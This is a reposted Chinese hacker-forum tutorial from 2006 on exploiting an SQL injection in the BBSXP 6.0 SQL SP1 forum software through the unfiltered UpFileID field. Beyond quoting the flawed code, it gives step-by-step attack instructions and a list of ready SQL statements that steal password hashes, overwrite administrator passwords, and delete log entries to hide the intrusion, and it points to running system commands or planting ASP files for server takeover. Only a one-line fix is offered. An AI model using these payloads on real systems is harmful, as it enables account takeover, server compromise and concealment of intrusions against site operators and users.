发新话题
打印

[转载]狙击 bbsxp 6.0 全版本

[转载]狙击 bbsxp 6.0 全版本

信息来源: www.77169.com

主题:狙击 bbsxp 6.0 全版本
应用对象:BBSXP 6.0 SQL SP1

现在我比较忙,闲的时候呢!看看书,发现bbsxp 6.0漏洞,感觉不错.写篇文章给新手参考!希望能从中学到东西.

首先,这个漏洞是一个注入点.说说漏洞是如何发现的.
漏洞发现:
打开源文件找到EditPost.asp的第67-72行,NewTopice.asp的第129-134行,ReTopic.asp的第78-83行会发现以下代码:

if Request.Form("UpFlieID")<>"" then
UpFileID=split(Request.form("UpFileID"),",")
for i=0 to ubound(UpFileID)-1
Conn.execute("update [BBSXP_PostAttachments]
set ThreadID="& ThreadID&",Description='"&Subject&"' where
id ="&UpFileID(i)& " and ThreadID =0")
next
end if


其实这几行代码很简单,为了新手能看明白,我罗列了一些相关知识点:
split函数的使用:
For Example:
  <%
   public namearray
   qname="Wang;Zhang;Ning"
   response.write qname & "


"
namearray=split(qname,";") \'把qname字符串以分号分开,然后赋给一个数组
max=ubound(namearray)
for counter=0 to max-1
response.write namearray(counter) & "


"
next
response.write "


"
  %>


ubound 函数的使用:
返回一个 Long 型数据,其值为指定的数组维可用的最大下标。

语法
UBound(arrayname[, dimension])
UBound 函数的语法包含下面部分:
部分 描述
arrayname 必需的。数组变量的名称,遵循标准变量命名约定。
dimension 可选的;Variant (Long)。指定返回哪一维的上界。1 表示第一维,2 表示第二维,如此等等。如果省略 dimension,就认为是 1




示例
该示例使用 UBound 函数,确定数组的指定维的最大可用下标。

Dim Upper
Dim MyArray(1 To 10, 5 To 15, 10 To 20) '声明数组变量。
Dim AnyArray(10)
Upper = UBound(MyArray, 1) '返回 10。
Upper = UBound(MyArray, 3) '返回 20。
Upper = UBound(AnyArray) '返回 10


我们可以看到在这段代码中没有对UpFileID数组内的数据作任何过滤就直接用在查询语句中了。我们以EditPost.asp这个页面为例来说明

。这个页面的功能是编辑帖子的。我们可以随便找一个版面发表一个帖子之后编辑它,查看源代码能够找到与此类似的一个脚本:




其中UpFileID是用来记录这个帖子中已经上传的文件路径的消息,并且用逗号分隔。



漏洞的利用:
从代码上看,已经明白了由于upfileid 没有过滤,所以才有这个漏洞.UPfileID 是可以编辑贴子的时候.我们可以修改这个变量.
从一般的注入漏洞的发现,基本步骤都,
一,发现没过滤的变量.
二,寻找变量的修改方法.
如果有一个变量没有过滤,但是我们不能修改他,这就不能称为注入点.

下面我们来寻找变量的修改方法!

在ASP代码中有一句话 for i =0 to ubound(UpFilID)-1,如果直接在页面中把UpFileID的值修改成一个注入查询语句
,

我们用 , 号来分隔一下.就能满足for 循环.


攻击过程.
一,注册一个用户.登陆,注意:保存cookies

二,发一个贴子,
三,点编辑,记录几个值,ThreadID,PostID 这两个值.
ThreadID=5 PostID=5


现在就可以成功执行查询语句:
update BBSXP_Users set UserMail=UserPass where UserName='77169.com'了,提交编辑完帖子之后查看77169.com的个人资料发现Email已经

变成了16位的md5密文。这样只要有足够的权限我们就可以执行任意SQL语句了。

四,用工具来改.

admin密码改成我们的密码 123456
我们用admin 密码 123456 不就可以登陆了吗?
admin密码备份email里面



总结:
我们上面的攻击过程主要是针对bbsxp sql sp1 版,因为sql版所以能执行那些查询.
漏洞发现者说对access版也可以通用,不过我没有测试!大家测试成功可以来论坛告诉我
华夏黑客同盟论坛 http://bbs.77169.com

整个攻击过程我没有提到sql权限这个问题.我个人认为如果sql版用上面这些办法攻击,不是最明智的手法.
sql权限是SA 我们可以直接用这个点去运行系统命令,直接拿下服务器,
sql权限是dbo 我们可以想办法备份差异asp 到本地,
如何操作,我只提供了思路,篇幅有限不能一一举例.

漏洞修补方法:
1,我们给变量过滤一下,
2,去官方下载补丁



附,
工具源程序.
copy另存为 1.htm
____________________________________________________

























论坛地址






http://


ThreadIDPostID编辑帖子文件名

执行的SQL







__________________________________________________________________
bbsxp sql sp1 有漏洞源程序,大家可以下载回去练习!


攻击语句:
--------------------------------------------
在EditPost.asp和NewTopic.asp, ReTopic.asp中都存在这个漏洞
--备份77169.com的密码到电子邮件中
update BBSXP_Users set UserMail=UserPass where UserName='77169.com'
--备份后台管理密码到77169.com的个人主页中
update BBSXP_Users set UserHome=(select top 1 AdminPassword from BBSXP_SiteSettings) where UserName='77169.com'
--修改admin的前台密码为771692
update BBSXP_Users set UserPass='59A9B22627515262CF6D95E8F968A608' where UserName='771691'
--修改后台管理密码为771692
update BBSXP_SiteSettings set AdminPassword='59A9B22627515262CF6D95E8F968A608'
delete from BBSXP_Log where UserName='771692' and cast(DateCreated as nvarchar(10))=cast(getdate() as nvarchar(10))
--恢复后台管理密码
update BBSXP_SiteSettings set AdminPassword=(select UserHome from BBSXP_Users where UserName='771692')
--恢复77169.com的密码
update BBSXP_Users set UserPass=UserMail where UserName='77169.com'
--清除77169.com的电子邮件和个人主页数据
update BBSXP_Users set UserMail='' where UserName='77169.com'
update BBSXP_Users set UserHome='' where UserName='77169.com'

附件

bbsxp.rar (871 KB)

2006-3-18 15:15, 下载次数: 536

TOP